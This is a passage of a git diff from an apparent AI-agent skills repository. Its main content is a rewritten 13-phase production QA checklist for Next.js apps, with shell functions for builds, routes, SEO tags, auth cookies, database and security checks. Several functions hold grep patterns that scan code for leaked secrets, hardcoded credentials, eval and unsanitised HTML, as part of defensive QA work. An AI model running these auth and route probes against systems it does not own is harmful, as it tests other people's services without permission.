50–68) | Rely on tool pages to rank for "how to" queries | +| 301 redirect old slugs when renaming | Delete old slugs without redirects | + +--- + +## Key Principles + +1. **Duplicate content first, always.** Identical template prose across 80+ pages is the + root cause on almost every underperforming tool site. No other fix matters until this is done. + +2. **Complete one tool fully before the next.** Never write partial entries across many tools. + A half-written registry entry is worse than no entry — it signals thin content at scale. + +3. **Internal links are PageRank distribution.** A tool with great content but zero inbound + internal links is invisible to Google. Every tool needs at least 2 inbound links. + +4. **URL slugs are permanent.** A clean slug outperforms a stuffed one from day one. + Get them right before indexing — renaming later costs ranking momentum even with 301s. + +5. **E-E-A-T is not decoration.** Authorless, dateless tool pages trigger quality rater + guidelines as potential spam. A real name and a real date is the minimum baseline. + +6. **Validate before every commit.** Catching a missing description before deploy is free. + Fixing it after indexing costs weeks. + +--- + +## Related Skills + +- [schema-markup-generator](/skills/schema-markup-generator/SKILL.md) — JSON-LD structured data (HowTo, FAQPage, WebApplication) for tool pages +- [social-metadata-hardening](/skills/social-metadata-hardening/SKILL.md) — OG tags and social sharing previews for tool pages +- [indexing-issue-auditor](/skills/indexing-issue-auditor/SKILL.md) — full crawl audit and redirect mapping after slug changes +- [pagespeed-enhancer](/skills/pagespeed-enhancer/SKILL.md) — Lighthouse / Core Web Vitals audit for tool pages +- [wordpress-centric-high-seo-optimized-blogwriting-skill](/skills/wordpress-centric-high-seo-optimized-blogwriting-skill/SKILL.md) — blog post writing with SEO structure +- [vibecode-production-qa-validator](/skills/vibecode-production-qa-validator/SKILL.md) — end-to-end production QA including deployment verification + +--- + +## When to Use + +This skill is applicable to execute the workflow or actions described in the overview. +Use it whenever the user mentions poor rankings, tools not getting indexed, all tool pages ranking the same, duplicate content warnings, "how do I make each tool page unique", thin content, or Google not ranking tool pages. + +## Limitations + +- Use this skill only when the task clearly matches the scope described above. +- Do not treat the output as a substitute for environment-specific validation, testing, or expert review. +- Stop and ask for clarification if required inputs, permissions, safety boundaries, or success criteria are missing. +- Content registry assumes a structured data source (JSON, YAML, DB) — static HTML tool pages will need a migration step first. +- Technical SEO factors (page speed, Core Web Vitals, render blocking) are delegated to the pagespeed-enhancer skill. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/vibecode-production-qa-validator/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/vibecode-production-qa-validator/SKILL.md index ec40d3e4..8f0f8321 100644 --- a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/vibecode-production-qa-validator/SKILL.md +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/vibecode-production-qa-validator/SKILL.md @@ -1,238 +1,468 @@ --- name: vibecode-production-qa-validator -description: "End-to-end production QA, build verification, and launch-readiness checklist for fullstack Next.js apps. Covers TypeScript, linting, tests, build, SEO tags, route regression, and sitemap validation." +description: "13-phase production QA for fullstack Next.js apps: build verification, SEO tags, OG images, favicon, route regression, API auth, page speed, lazy load, vulnerability scan, UI/UX cards, error boundaries, database, secure rendering, and cleanup." category: devops risk: safe source: self source_type: self date_added: "2026-05-31" author: Whoisabhishekadhikari -tags: [qa, testing, nextjs, production, build-validation, deployment, seo] -tools: [claude, cursor, gemini, claude-code] -version: 1.0.0 +tags: [qa, nextjs, production, deployment, seo, authentication, api, performance, favicon, cleanup, lighthouse, database, security, ui-ux] +tools: [claude, cursor, gemini, claude-code, opencode] +version: 2.0.0 --- -# Production QA Validator Skill +# Production QA Validator -The end-to-end launch checklist for fullstack Next.js apps. Run this before every production deployment or after any major change. - ---- +Run phases in order. Fix failures before moving to next. ## When to Use -- Use before deploying a vibe-coded or fast-built app to production. -- Use when validating build output, SEO tags, sitemap routes, API routes, git diff cleanliness, and post-deploy smoke checks. -- Use when you need a concrete definition of done for release readiness across code, runtime behavior, and public URLs. - ---- - -## The Full Validation Command Sequence - -Run in order — stop and fix on any failure before continuing: +- Use before shipping or promoting a fullstack Next.js app to production. +- Use after large UI, SEO, auth, API, database, or dependency changes need a concrete launch-readiness pass. +- Use when you need a compact command-driven checklist for build, route, metadata, performance, security, and cleanup checks. ```bash -# 1. TypeScript — catches type errors and broken imports -npx tsc --noEmit - -# 2. Custom validation scripts (if present) -npm run validate 2>/dev/null || echo "No validate script" - -# 3. Canonical/SEO linting (if present) -npm run lint:canon 2>/dev/null || echo "No canon lint" -npm run lint:anchors 2>/dev/null || echo "No anchor lint" -npm run lint:links 2>/dev/null || echo "No link lint" - -# 4. ESLint -npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 - -# 5. Tests -npm test -- --runInBand --passWithNoTests - -# 6. Production build — the final arbiter -npm run build +export PROD_URL="https://yourdomain.com" +export QA_AUTH_HEADER="" # optional: "Bearer eyJ..." +export PAGESPEED_API_KEY="" # optional: for auto PageSpeed API ``` -All 6 must pass before committing. - --- -## Reading the Build Output +## Consolidated Runner ```bash -npm run build 2>&1 | tee build.log - -# Check for errors -grep -i "error\|failed\|cannot" build.log | grep -v "no errors" - -# Check static page count -grep "Static pages\|○\|●" build.log | tail -5 +qa:all() { qa:code && qa:build && qa:routes / /about /contact /privacy /terms /faq /sitemap.xml /robots.txt /api/health && qa:seo && qa:api /api/health /api/tools && qa:git && qa:smoke; } +qa:full() { qa:all && qa:auth && qa:auth:cookies && qa:lazyload && qa:heavyload && qa:vulns && qa:cleanup && qa:ux:cards && qa:ux:boundaries && qa:ux:animation && qa:database && qa:secure; } ``` -### Route symbols explained - -| Symbol | Meaning | Expected? | -|--------|---------|-----------| -| `○` | Static (rendered at build time) | ✓ Good for most pages | -| `●` | SSG (generated from `generateStaticParams`) | ✓ Good for dynamic pages | -| `λ` | Serverless (dynamic, rendered on request) | ✓ APIs and truly dynamic pages only | -| `⊕` | Partial prerender | ✓ Fine | - -If an important SEO page shows `λ` and should be static, add `generateStaticParams` or use `export const dynamic = 'force-static'`. - --- -## SEO Tags in Raw HTML Verification +### Phase 1: Code Integrity -Crawlers don't run JavaScript. Metadata must be in the raw HTML response. +- [ ] `npx tsc --noEmit` +- [ ] `npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0` +- [ ] `npm test -- --runInBand --passWithNoTests` ```bash -# Check a page's metadata -curl -s https://www.yourdomain.com/blog/my-post | grep -i \ - "og:title\|og:description\|og:image\|twitter:card\|canonical\|description" - -# Expected output should include all of these: -# -# -# -# -# -# +qa:code() { npx tsc --noEmit && npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 && npm test -- --runInBand --passWithNoTests; } ``` -If tags are missing from raw HTML: they're added by client-side JavaScript. Fix: move to `export const metadata` or `generateMetadata`. - --- -## Route Regression Testing +### Phase 2: Build Verification -After any major change, verify all critical route types still return 200: +- [ ] `npm run build` succeeds +- [ ] SEO pages show `○`/`●` not `λ` +- [ ] Build log has no errors ```bash -BASE="https://www.yourdomain.com" - -# Core pages -for path in "/" "/about" "/contact" "/privacy" "/terms" "/faq"; do - STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE$path") - echo "$STATUS $BASE$path" -done - -# Sitemaps -for path in "/sitemap.xml" "/robots.txt"; do - STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE$path") - echo "$STATUS $BASE$path" -done - -# Sample dynamic routes (test a few real slugs) -for path in "/tools/keyword-density-checker" "/blog/my-post-slug"; do - STATUS=$(curl -s -o /dev/null -w "%{http_code}" "$BASE$path") - echo "$STATUS $BASE$path" -done +qa:build() { npm run build 2>&1 | tee /tmp/qa-build.log && ! grep -qi "error\|failed" /tmp/qa-build.log; } ``` -All should return `200`. Investigate anything returning `404`, `500`, or `301`/`302` when a direct URL was expected. +| Symbol | Meaning | +|--------|---------| +| `○` | Static | +| `●` | SSG | +| `λ` | Dynamic/serverless | +| `⊕` | Partial prerender | --- -## Sitemap Validation +### Phase 3: API Session & Authentication + +- [ ] Auth endpoints respond (login, session, logout) +- [ ] Protected routes return 401/403 +- [ ] Session cookie: HttpOnly + Secure + SameSite +- [ ] Cookie not expired, Path/Domain correct +- [ ] No rate limiting bypass ```bash -# Fetch and validate sitemap XML -curl -s https://www.yourdomain.com/sitemap.xml | python3 -c " -import sys, xml.etree.ElementTree as ET -try: - ET.parse(sys.stdin) - print('✓ Valid XML') -except Exception as e: - print(f'✗ Invalid XML: {e}') -" - -# Count URLs in sitemap -curl -s https://www.yourdomain.com/sitemap.xml | grep -c "" +qa:auth() { + local F=0 + for ep in /api/auth/login /api/auth/session /api/auth/logout; do + curl -so /dev/null -w "%{http_code}" "$PROD_URL$ep" | grep -q "200\|401" || { echo " ✗ $ep unreachable"; ((F++)); } + done + curl -so /dev/null -w "%{http_code}" "$PROD_URL/api/protected" | grep -q "401\|403" || echo " ⚠ Protected route not denying unauthenticated" + return $F +} +qa:auth:cookies() { + for ep in /api/auth/session /api/auth/login; do + curl -sI "$PROD_URL$ep" | grep -i "^set-cookie:" | while IFS= read -r c; do + echo " $ep: $(echo "$c" | cut -d= -f1)" + echo "$c" | grep -qi "HttpOnly" || echo " ✗ Missing HttpOnly" + echo "$c" | grep -qi "Secure" || echo " ✗ Missing Secure" + echo "$c" | grep -qi "SameSite" || echo " ⚠ Missing SameSite" + done + done +} ``` --- -## API Route Testing +### Phase 4: Route Regression + +- [ ] Core pages, sitemap, robots.txt all 200 +- [ ] URLs use kebab-case, no duplicate slugs +- [ ] robots.txt allows indexing +- [ ] Sitemap XML valid, all URLs resolve 200 ```bash -# Test API endpoints return expected content-type and status -for path in "/api/health" "/api/tools"; do - RESULT=$(curl -s -o /dev/null -w "%{http_code} %{content_type}" "$BASE$path") - echo "$RESULT $path" -done +qa:routes() { local F=0; for p; do local C=$(curl -so /dev/null -w "%{http_code}" "$PROD_URL$p"); echo "$C $p"; [ "$C" = "200" ] || ((F++)); done; return $F; } +qa:robots() { curl -s "$PROD_URL/robots.txt" | grep -qi "Disallow: /$" && echo " ✗ Blocks all crawlers" || echo " ✓ OK"; } +qa:sitemap() { curl -s "$PROD_URL/sitemap.xml" | python3 -c "import sys,xml.etree.ElementTree as ET; ET.parse(sys.stdin); print('✓ Valid XML')"; } ``` --- -## Pre-Commit Git Checklist +### Phase 5: SEO — Tags, Images, Favicon, Slugs -Before committing: +- [ ] `` 30–60 chars, unique per page +- [ ] `<meta name="description">` in raw HTML +- [ ] og:title matches `<title>`, og:url matches canonical +- [ ] og:image ≥ 1200×630px, absolute URL, loads 200 +- [ ] twitter:card = summary_large_image +- [ ] Canonical self-referencing, no duplicates +- [ ] `/favicon.ico` 200, apple-touch-icon present +- [ ] `hreflang` tags if multilingual +- [ ] JSON-LD structured data present +- [ ] Slugs: kebab-case, < 80 chars, no stop words ```bash -# Review what's changed -git diff --stat HEAD - -# Ensure no secrets or local-only files -git diff HEAD | grep -i "password\|secret\|api_key\|localhost:3000" | grep "^+" - -# Confirm no build artifacts are staged -git status | grep -E "\.next|node_modules" -``` - -Good commit message format: -```text -type(scope): brief description - -fix(seo): add canonical tags to all blog pages -feat(tools): add keyword density checker page -refactor(metadata): consolidate OG/Twitter tags into shared helper -chore(cleanup): remove unused utils/oldHelper.js +qa:seo() { + local H=$(curl -s "$PROD_URL"); local F=0 + for t in "og:title" "og:description" "og:image" "twitter:card" "canonical" "description"; do echo "$H" | grep -qi "$t" || { echo " ✗ $t"; ((F++)); }; done + echo "$H" | grep -qi "<title>" || { echo " ✗ <title>"; ((F++)); } + local T=$(echo "$H" | grep -oP '<title>\K[^<]+'); local L=${#T}; [ $L -ge 30 -a $L -le 60 ] || echo " ⚠ Title ${L}chars (target 30-60)" + curl -so /dev/null -w "%{http_code}" "$PROD_URL/favicon.ico" | grep -q 200 || echo " ⚠ No favicon.ico" + return $F +} +qa:seo:ogimage() { + local I=$(curl -s "$PROD_URL" | grep -oP 'og:image" content="\K[^"]+'); [[ "$I" =~ ^http ]] || I="$PROD_URL$I" + curl -so /dev/null -w "%{http_code}" "$I" | grep -q 200 || { echo " ✗ og:image returns non-200"; return 1; } + command -v identify &>/dev/null && curl -s "$I" | identify -format "%wx%h" - 2>/dev/null | grep -qP "12\d{2}x6\d{2}" && echo " ✓ ≥ 1200x630" || echo " ⚠ Install imagemagick to check dimensions" +} ``` --- -## Post-Deployment Smoke Test +### Phase 6: API Route Behavior -Run 5–10 minutes after deployment: +- [ ] Correct status codes + Content-Type +- [ ] Errors return consistent JSON `{ error, message }` +- [ ] Response times < 200ms +- [ ] CORS headers correct (if cross-origin) ```bash -PROD="https://www.yourdomain.com" - -# Homepage loads -curl -sI "$PROD" | grep -i "http\|status" - -# Key page loads -curl -sI "$PROD/tools/keyword-density-checker" | grep "200\|301\|404" - -# No JS errors (requires manual browser check) -# Open browser → Console → look for red errors - -# OG image loads -curl -sI "$PROD/images/og/home.jpg" | grep -i "200\|content-type" +qa:api() { + for p; do + local R=$(curl -so /dev/null -w "%{http_code} %{content_type}" "$PROD_URL$p") + echo " $p → $R" + done + local E=$(curl -s "$PROD_URL/api/nonexistent") + echo "$E" | python3 -c "import sys,json; d=json.load(sys.stdin); assert 'error' in d; print('✓ Consistent errors')" 2>/dev/null || echo " ⚠ Inconsistent error shape" +} ``` --- -## Definition of Done +### Phase 7: Git Hygiene -A change is **production-ready** only when ALL of the following are true: +- [ ] No secrets/credentials in diff +- [ ] No `.next`/`node_modules` staged +- [ ] Commit: `type(scope): message` -- [ ] `npx tsc --noEmit` passes -- [ ] `npm run validate` passes (or no script) -- [ ] `npm run lint:canon` passes (or no script) -- [ ] `npx eslint .` passes with 0 warnings -- [ ] `npm test` passes or no tests exist -- [ ] `npm run build` completes successfully -- [ ] Important pages show `○` or `●` in build output (not `λ`) -- [ ] SEO tags visible in `curl` output for key pages -- [ ] All sitemap routes return valid XML -- [ ] No new 404s on previously working routes -- [ ] No secrets in git diff -- [ ] Commit message is scoped and descriptive -- [ ] Social preview platforms show correct card after cache refresh +```bash +qa:git() { + local S=$(git diff HEAD 2>/dev/null | grep -i "password\|secret\|api_key\|localhost:3000" | grep "^+") + [ -n "$S" ] && { echo " ✗ Secrets in diff!"; echo "$S"; return 1; } || echo " ✓ No secrets" + local A=$(git status --short 2>/dev/null | grep -E "\.next|node_modules" | head -3) + [ -n "$A" ] && echo " ⚠ Build artifacts:" && echo "$A" || echo " ✓ No artifacts" +} +``` + +--- + +### Phase 8: Post-Deployment Smoke Test + +- [ ] Homepage 200, key pages 200 +- [ ] OG image loads 200 +- [ ] No console errors (manual) +- [ ] Auth flow works (manual) + +```bash +qa:smoke() { + curl -sI "$PROD_URL" | head -1 | grep -q "200" && echo " ✓ Homepage" || echo " ✗ Homepage" + curl -sI "$PROD_URL/sitemap.xml" | head -1 | grep -q "200" && echo " ✓ Sitemap" || echo " ✗ Sitemap" +} +``` + +--- + +### Phase 9: Page Speed, Lazy Load & Bundles + +- [ ] Lighthouse ≥ 90 (Perf, A11y, SEO) +- [ ] FCP < 2.5s, LCP < 4.0s, CLS < 0.1 +- [ ] Images lazy-loaded (`loading="lazy"`), WebP/AVIF +- [ ] Dynamic imports for heavy components +- [ ] Largest JS chunk < 200KB gzipped +- [ ] `font-display: swap`, no FOIT +- [ ] Total page weight < 1MB + +```bash +qa:lazyload() { + local N=$(grep -r "loading=" app/ --include="*.tsx" 2>/dev/null | grep -c "lazy" || true) + echo " Lazy images: $N" + grep -rn "next/dynamic\|dynamic((" app/ --include="*.tsx" 2>/dev/null | head -5 | grep . || echo " ⚠ No dynamic imports" +} +qa:heavyload() { + ls -lhS .next/static/chunks/*.js 2>/dev/null | head -5 + local W=$(curl -so /dev/null -w "%{size_download}" "$PROD_URL" 2>/dev/null || echo 0) + echo " HTML weight: ~$((W/1024))KB" + echo " ⚠ Run 'npx lighthouse $PROD_URL --view' for full weight analysis" +} +# PageSpeed: open "https://pagespeed.web.dev/?url=$PROD_URL" +``` + +--- + +### Phase 10: Cleanup & Vulnerability Scan + +- [ ] `npm prune`, `depcheck` — no unused deps +- [ ] No console.log/debugger in staged code +- [ ] `npm audit` — zero critical/high vulnerabilities +- [ ] No eval/new Function/document.write +- [ ] TODOs resolved + +```bash +qa:vulns() { + npm audit 2>/dev/null | grep -E "critical|high" | grep . && echo " ✗ Vulnerabilities!" || echo " ✓ No critical/high vulns" + npm outdated 2>/dev/null | head -5 | grep . || echo " ✓ All up to date" + local D=$(grep -rn "eval(\|new Function(\|document.write(" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | head -5) + [ -n "$D" ] && echo " ⚠ Dangerous patterns:" && echo "$D" || echo " ✓ No dangerous patterns" +} +qa:cleanup() { + local D=$(git diff --cached 2>/dev/null | grep "^+" | grep -i "console\.log\|debugger" | head -5) + [ -n "$D" ] && echo " ✗ Debug artifacts:" && echo "$D" || echo " ✓ No debug artifacts" + local T=$(git diff --cached 2>/dev/null | grep "^+" | grep -i "TODO\|FIXME\|HACK" | head -5) + [ -n "$T" ] && echo " ⚠ TODOs remain:" && echo "$T" +} +``` + +--- + +### Phase 11: UI/UX — Cards, Animation, Error Boundaries + +- [ ] Cards: equal height grid, no overlap, text ellipsis, responsive (1→2→3 col) +- [ ] No horizontal scroll at any viewport (320–1440px) +- [ ] Images: consistent `aspect-ratio` + `object-fit: cover` +- [ ] Touch targets ≥ 44×44px +- [ ] Animations use `transform`+`opacity` only (not layout props) +- [ ] `prefers-reduced-motion` respected +- [ ] Error boundaries at root + route level (`app/error.tsx`, `app/global-error.tsx`) +- [ ] `app/not-found.tsx` and `app/loading.tsx` exist +- [ ] All client fetches show loading + error + empty states +- [ ] Buttons: hover, focus-visible, active, disabled, loading states +- [ ] Forms disable submit on click (no double-submit) + +```bash +qa:ux:cards() { + local E=$(grep -rn "text-overflow\|line-clamp\|truncate" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -3) + [ -n "$E" ] && echo " ✓ Text overflow handling" || echo " ⚠ No text overflow handling" + local A=$(grep -rn "aspect-\|object-fit" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -3) + [ -n "$A" ] && echo " ✓ aspect-ratio/object-fit used" || echo " ⚠ No aspect-ratio set" +} +qa:ux:boundaries() { + for f in app/error.tsx app/global-error.tsx app/not-found.tsx app/loading.tsx; do + [ -f "$f" ] && echo " ✓ $f" || echo " ⚠ Missing $f" + done +} +qa:ux:animation() { + local A=$(grep -rn "animation.*width\|transition.*height\|@keyframes.*top\|@keyframes.*margin" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -5) + [ -n "$A" ] && echo " ⚠ Layout-triggering animations:" && echo "$A" || echo " ✓ No layout-triggering animations" + local P=$(grep -r "@media.*prefers-reduced-motion" app/ --include="*.css" --include="*.tsx" 2>/dev/null | head -3) + [ -n "$P" ] && echo " ✓ prefers-reduced-motion found in CSS" || echo " ⚠ No prefers-reduced-motion in CSS" +} +``` + +--- + +### Phase 12: Database & Data Layer + +- [ ] Connection pool configured (no starvation) +- [ ] Schema in sync with migrations +- [ ] Indexes on all queried columns, no N+1 +- [ ] No hardcoded DB credentials in source +- [ ] No raw SQL injection risk +- [ ] No sensitive data leaked in API responses +- [ ] Migrations are idempotent + +```bash +qa:database() { + local H=$(grep -rn "postgres://\|mysql://\|mongodb://" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | grep -v ".env" | head -5) + [ -n "$H" ] && { echo " ✗ Hardcoded DB URL:"; echo "$H"; } || echo " ✓ No hardcoded DB URLs" + local R=$(grep -rn "\$queryRaw\|\.raw(" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | head -5) + [ -n "$R" ] && echo " ⚠ Raw SQL:" && echo "$R" || echo " ✓ No raw SQL" + local N=$(grep -rn "\.findMany\|\.findUnique" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | grep -v "include:" | head -5) + [ -n "$N" ] && echo " ⚠ Possible N+1:" && echo "$N" || echo " ✓ No N+1 patterns" +} +qa:db:migrations() { + [ -d "prisma/migrations" ] && echo " ✓ Prisma: $(ls prisma/migrations 2>/dev/null | wc -l) migrations" || echo " - No prisma migrations dir" + local M=$(ls db/migrations/*.sql 2>/dev/null | head -5); [ -n "$M" ] && echo " ✓ SQL migrations:" && echo "$M" || echo " - No SQL migration files" +} +``` + +--- + +### Phase 13: Secure Data Rendering + +- [ ] No secrets/tokens in client source or localStorage +- [ ] No `dangerouslySetInnerHTML` without DOMPurify +- [ ] API errors don't leak stack traces +- [ ] Internal IDs use UUIDs not auto-increment +- [ ] User emails masked in UI +- [ ] NEXT_PUBLIC_ vars contain no secrets + +```bash +qa:secure() { + local S=$(git grep -n "api_key\|API_KEY\|secret_key\|PRIVATE_KEY" -- ':!*.env*' ':!*test*' 2>/dev/null | head -5) + [ -n "$S" ] && echo " ✗ Secrets in source:" && echo "$S" || echo " ✓ No hardcoded secrets" + local D=$(grep -rn "dangerouslySetInnerHTML" app/ src/ --include="*.tsx" 2>/dev/null | head -5) + [ -n "$D" ] && echo " ⚠ XSS risk — use DOMPurify:" && echo "$D" || echo " ✓ No dangerouslySetInnerHTML" + local T=$(grep -rn "localStorage\|sessionStorage" app/ src/ --include="*.ts" --include="*.tsx" 2>/dev/null | grep -i "token\|jwt\|secret" | head -5) + [ -n "$T" ] && echo " ⚠ Tokens in storage — use httpOnly cookies:" && echo "$T" || echo " ✓ No tokens in storage" + curl -s "$PROD_URL/api/nonexistent" 2>/dev/null | grep -qi "stack\|Error:" && echo " ✗ Stack trace leak" || echo " ✓ No stack leak" +} +``` + +--- + +## Pre-Commit Hook + +```bash +cat > .git/hooks/pre-commit << 'EOF' +#!/bin/sh +npx tsc --noEmit || exit 1 +npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 || exit 1 +EOF +chmod +x .git/hooks/pre-commit +``` + +--- + +## CI/CD (GitHub Actions) + +```yaml +name: QA +on: [push, pull_request] +jobs: + qa: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + - run: npm ci + - run: npx tsc --noEmit + - run: npx eslint . --ext .js,.jsx,.ts,.tsx --max-warnings 0 + - run: npm test -- --runInBand --passWithNoTests + - run: npm run build +``` + +--- + +## Best Practices + +| ✅ Do | ❌ Don't | +|-------|----------| +| Run full 13-phase flow before deploy | Skip typecheck or lint | +| Set `PROD_URL` in profile/.envrc | Hardcode URLs in scripts | +| OG images ≥ 1200×630 | Use small OG images | +| Animate with `transform`+`opacity` | Animate width/height/top | +| Show loading/error/empty states | Leave users on blank screens | +| `prefers-reduced-motion` for animations | Force motion on all users | +| HttpOnly + Secure cookies for tokens | localStorage for auth tokens | +| Error boundaries at all levels | White screen on crash | +| Database indexes + include/populate | N+1 queries in loops | +| `npm audit` before deploy | Deploy with known vulns | + +--- + +## Common Pitfalls + +| Problem | Solution | +|---------|----------| +| OG tags missing in raw HTML | Use `export const metadata` in Next.js | +| `Disallow: /` in robots.txt | Blocks all crawlers — use specific paths | +| Cards different heights in grid | Use `display: grid` with equal-height rows, not flex | +| Text overflows card | Add `text-overflow: ellipsis` + `overflow: hidden` | +| Animation jank | Animate `transform` not `width`/`height` | +| Form submits twice | Disable button on first click | +| Console errors in prod | Add `no-console` ESLint rule | +| DB connection timeout | Add connection pooling (PgBouncer/Prisma Accelerate) | +| Sensitive data in API | Strip `passwordHash`/`secret` in response transformer | +| App crashes on error | Add `app/error.tsx` error boundary | +| Large JS bundles | Dynamic import heavy components, analyze with `next/bundle-analyzer` | +| Images load slowly | Add `loading="lazy"`, use WebP/AVIF, resize to display size | + +--- + +## Security Notes + +- All `qa:*` functions are read-only (tsc, lint, test, build, curl, grep) +- `PROD_URL` and `QA_AUTH_HEADER` only for environments you own +- Basic secret scanning in `git diff` — for prod, use `trufflehog`/`git-secrets` +- Auth tests with real credentials against prod is destructive — use staging + +--- ## Limitations -- Passing this checklist reduces release risk but does not prove the absence of production bugs. -- Some checks depend on project-specific scripts, deployment topology, and external services that may not exist in every app. -- Manual exploratory testing is still required for critical user journeys, payments, auth, and data mutation flows. +- Passing all phases reduces risk but doesn't eliminate production bugs +- Some checks depend on project-specific tooling (Prisma, NextAuth, etc.) +- Manual UX testing still required for critical user journeys +- SEO checks verify raw HTML only — not social preview rendering +- Route checks verify status codes, not content correctness + +--- + +## Master Checklist + +### Phase 1: Code +- [ ] `tsc --noEmit`, `eslint`, `npm test` pass + +### Phase 2: Build +- [ ] `npm run build` succeeds, no errors, pages static + +### Phase 3: Auth +- [ ] Endpoints respond, protected routes denied, secure cookies + +### Phase 4: Routes +- [ ] All core pages 200, sitemap valid, robots.txt correct + +### Phase 5: SEO +- [ ] title, description, og:*, twitter:card, canonical, favicon, slugs + +### Phase 6: API +- [ ] Status, Content-Type, consistent errors, timing + +### Phase 7: Git +- [ ] No secrets, no artifacts, conventional commit + +### Phase 8: Smoke +- [ ] Homepage + key pages 200, og:image loads + +### Phase 9: Speed +- [ ] Lighthouse ≥ 90, lazy images, dynamic imports, font-display: swap + +### Phase 10: Clean +- [ ] No vulns, no debug artifacts, unused deps pruned + +### Phase 11: UI/UX +- [ ] Cards responsive, error boundaries, button states, reduced-motion + +### Phase 12: Database +- [ ] Indexes, no N+1, no hardcoded URLs, no sensitive leaks + +### Phase 13: Secure Rendering +- [ ] No secrets in client, no XSS, no stack leaks, UUIDs diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-agent-mcp-builder/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-agent-mcp-builder/.claude-plugin/plugin.json index 0664c723..527948b2 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-agent-mcp-builder/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-agent-mcp-builder/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-agent-mcp-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Agent & MCP Builder\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-agent-mcp-builder/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-agent-mcp-builder/.codex-plugin/plugin.json index 1924e040..18f643e9 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-agent-mcp-builder/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-agent-mcp-builder/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-agent-mcp-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Agent & MCP Builder\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-automation-builder/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-automation-builder/.claude-plugin/plugin.json index 76de7366..1ab2ac53 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-automation-builder/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-automation-builder/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-automation-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Automation Builder\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-automation-builder/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-automation-builder/.codex-plugin/plugin.json index 406e3558..887e7bbd 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-automation-builder/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-automation-builder/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-automation-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Automation Builder\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-data-analytics/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-data-analytics/.claude-plugin/plugin.json index bf730778..619b0164 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-data-analytics/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-data-analytics/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "antigravity-bundle-aas-data-analytics", - "version": "12.8.0", + "version": "12.9.0", "description": "Editorial \"AAS Data Analytics\" bundle for Claude Code from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-data-analytics/.codex-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-data-analytics/.codex-plugin/plugin.json index 00c05d9d..e7f7a154 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-data-analytics/.codex-plugin/plugin.json +++ b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-data-analytics/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "agyb-aas-data-analytics", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Data Analytics\" editorial skill bundle from Antigravity Awesome Skills.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-devops-cloud/.claude-plugin/plugin.json b/antigravity-awesome-skills/plugins/antigravity-bundle-aas-devops-cloud/.claude-plugin/plugin.json index c580ca16..09816f2e 100644 --- a/antigravity-awesome-skills/plugins/antigravity-bundle-aas-devops-cloud/.claude-plugin/plugin.json +++ 